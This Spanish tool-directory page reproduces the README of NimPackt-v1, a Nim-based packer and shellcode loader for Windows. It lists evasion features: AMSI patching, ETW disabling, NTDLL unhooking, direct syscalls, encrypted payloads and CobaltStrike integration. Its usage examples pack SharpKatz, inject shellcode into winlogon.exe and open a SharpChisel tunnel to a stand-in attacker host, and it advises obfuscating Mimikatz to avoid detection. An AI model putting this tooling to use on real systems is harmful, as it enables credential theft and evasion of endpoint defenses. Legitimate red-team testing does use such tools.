Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
NimPackt-v1 — Empacador de ensamblador basado en Nim y cargador de shellcode para opsec y beneficio | Kitploit
Herramientas/GitHubGitHub/chvancooten/nimpackt-v1
Frameworks de ExploitsGeneración de PayloadsShellcodePruebas de PenetraciónRed TeamingExplotación de Binarios
GitHubchvancooten/nimpackt-v1

NimPackt-v1

Empacador de ensamblador basado en Nim y cargador de shellcode para opsec y beneficio

Ver Repositorio
487765hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

NimPackt

Un packer basado en Nim para ejecutables .NET y shellcode raw

Por Cas van Cooten (@chvancooten)

Con especial agradecimiento a Marcello Salvati (@byt3bl33der) y Fabian Mosch (@S3cur3Th1sSh1t)

Descripción

Actualización: NimPackt-v1 se encuentra entre el peor código que he escrito (recién empezaba a aprender Nim). Por ello, comencé una reescritura completa de NimPackt, denominada 'NimPackt-NG' (actualmente aún privada). Con esta reescritura, decidí publicar la rama antigua ("NimPackt-v1") como código abierto. Por lo tanto, esta rama ya no recibe mantenimiento y no incluye ninguna garantía ni soporte. Por supuesto, siempre se aceptan PRs :)

NimPackt es un packer basado en Nim para ejecutables .NET (C#) y shellcode dirigido a Windows. Envuelve automáticamente la carga útil en un binario Nim que se compila a C nativo, lo que dificulta su detección e ingeniería inversa. Hay dos métodos principales de ejecución:

  • Execute-Assembly re-empaqueta un ejecutable .NET y lo ejecuta, aplicando opcionalmente medidas evasivas como desenganche de API, parcheo de AMSI o desactivación de ETW.
  • Shinject toma un archivo .bin con shellcode raw independiente de la posición y lo ejecuta localmente o en un proceso remoto, utilizando opcionalmente syscalls directas para activar el shellcode o parchear hooks de API para evadir EDR.

Actualmente, NimPackt cuenta con las siguientes características.

  • Utiliza syscalls estáticas para parchear la ejecución y evadir EDR
  • Desengancha APIs de modo usuario para el hilo generado refrescando NTDLL.dll usando ShellyCoat
  • Parchea Event Tracing for Windows (ETW)
  • Parchea la Interfaz de Escaneo Antimalware (AMSI)
  • Cifra la carga útil con AES usando una clave aleatoria para evitar análisis estático o huellas dactilares
  • Compila a exe o dll
  • Soporta compilación multiplataforma (desde Linux y Windows)
  • Se integra con CobaltStrike para una generación de cargas útiles ezpz 😎

Una gran fuente de binarios basados en C# para herramientas ofensivas se puede encontrar aquí. Se recomienda altamente compilar los binarios C# usted mismo. Aunque los binarios incrustados están cifrados, debe ofuscar los binarios sensibles (como Mimikatz) para reducir el riesgo de detección.

Instalación

Si tiene problemas para compilar el binario con syscalls, intente degradar su GCC a la versión 8.1.0 (especialmente en Windows). ¡Siempre pruebe las cargas útiles generadas!

En Linux, simplemente instale los paquetes requeridos y use el instalador de paquetes Nimble para instalar los paquetes y bibliotecas de Python necesarios.

root@kitploit:~
sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto

En Windows, ejecute el instalador de Nim desde aquí. Asegúrese de instalar mingw y establecer los valores de ruta correctamente usando la utilidad finish.exe proporcionada. Si no tiene Python3, instálelo y luego instale los paquetes requeridos de la siguiente manera.

root@kitploit:~
nimble install winim nimcrypto
pip3 install pycryptodome argparse

Docker

La imagen Docker chvancooten/nimbuild se puede utilizar para compilar binarios de NimPackt-v1. Usar Docker es fácil y evita problemas de dependencias, ya que todas las dependencias requeridas están preinstaladas en este contenedor.

Para usarlo, instale Docker para su sistema operativo y asegúrese de que el shellcode de entrada esté en la carpeta actual. Luego, inicie la compilación en un contenedor de la siguiente manera.

root@kitploit:~
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin

Plugin de CobaltStrike

Para instalar el plugin de CobaltStrike, seleccione Cobalt Strike -> Script Manager en la barra de menú, y seleccione Load. ¡Asegúrese de cargar el archivo .cna desde su ubicación original, de lo contrario no podrá encontrar los archivos de script de NimPackt!

NimPackt

Uso

root@kitploit:~
uso: NimPackt.py [-h] -e MODOEJECUCION -i ARCHIVOENTRADA [-a ARGUMENTOS] [-na] [-ne] [-r]
                   [-t OBJETIVOINYECCION] [-E] [-o ARCHIVOSALIDA] [-nu] [-ns] [-f TIPOARCHIVO] [-s] [-32] [-S]
                   [-d] [-v] [-V]

argumentos requeridos:
  -e MODOEJECUCION, --executionmode MODOEJECUCION
                        Modo de ejecución del packer. Soporta "execute-assembly" o "shinject"
  -i ARCHIVOENTRADA, --inputfile ARCHIVOENTRADA
                        Binario ejecutable .NET C# (.exe) o shellcode (.bin) para envolver

argumentos de execute-assembly:
  -a ARGUMENTOS, --arguments ARGUMENTOS
                        Argumentos para "incrustar" en el binario envuelto, o "PASSTHRU" para aceptar
                        argumentos en tiempo de ejecución (por defecto)
  -na, --nopatchamsi    NO parchear (deshabilitar) la Interfaz de Escaneo Antimalware (AMSI)
  -ne, --nodisableetw   NO deshabilitar Event Tracing for Windows (ETW)

argumentos de shinject:
  -r, --remote          Inyectar shellcode en un proceso remoto (por defecto falso)
  -t OBJETIVOINYECCION, --target OBJETIVOINYECCION
                        Hilo remoto objetivo para la inyección en proceso remoto
  -E, --existing        Inyectar de forma remota en un proceso existente en lugar de uno recién generado (por defecto
                        falso, implica -r) (ADVERTENCIA: VOLÁTIL)

otros argumentos:
  -o ARCHIVOSALIDA, --outfile ARCHIVOSALIDA
                        Nombre del archivo de salida (ej. "LegitBinary"). Especifique SIN extensión
                        o ruta. Esta propiedad se almacenará en el binario de salida como el nombre original
                        del archivo
  -nu, --nounhook       NO desenganchar hooks de API de modo usuario en el proceso objetivo cargando un NTDLL.dll
                        fresco
  -ns, --nosyscalls     NO usar syscalls directas (generación de Windows 7-10) en lugar de APIs de alto
                        nivel para evadir EDR
  -f TIPOARCHIVO, --filetype TIPOARCHIVO
                        Tipo de archivo a compilar ("exe" o "dll", por defecto: "exe")
  -s, --sleep           Dormir aproximadamente 30 segundos calculando números primos
  -32, --32bit          Compilar en modo de 32 bits (no probado)
  -S, --showConsole     Mostrar una ventana de consola con la salida de la aplicación al ejecutarse
  -d, --debug           Habilitar modo de depuración (conserva el archivo fuente .nim en la carpeta de salida)
  -v, --verbose         Imprimir mensajes de depuración del binario envuelto en tiempo de ejecución
  -V, --version         Mostrar el número de versión del programa y salir

Ejemplos:

root@kitploit:~
# Empaquetar SharpKatz para aceptar argumentos en tiempo de ejecución, parcheando hooks de NTDLL, AMSI y ETW mientras imprime mensajes detallados en una consola visible en tiempo de ejecución
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v

# Empaquetar Seatbelt como un archivo DLL con argumentos incrustados (nota: escribir en archivo de salida porque stdout no está disponible para DLLs)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"

# Empaquetar SharpChisel con una cadena de conexión ChiselChief incorporada, no desenganchar, no parchear AMSI ni deshabilitar ETW, ocultar la ventana de la aplicación en tiempo de ejecución
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'

# Empaquetar shellcode raw a un archivo DLL que se ejecuta en el hilo local a través de syscalls directas, desenganchando también NTDLL
# Shellcode generado con 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll

# Empaquetar shellcode raw para ejecutarse en un hilo de Calculadora recién generado en una ventana invisible
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"

# Empaquetar shellcode raw para ejecutarse en el proceso existente de Winlogon (primer PID con nombre 'winlogon.exe'), no usar syscalls directas ni desenganchar NTDLL
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns

Los binarios se almacenan en la subcarpeta output de su directorio de instalación. Los archivos dll generados se pueden ejecutar de la siguiente manera (el punto de entrada se puede cambiar en la plantilla Nim):

root@kitploit:~
rundll32 exampleShinjectNimPackt.dll,IconSrv
Descargar herramienta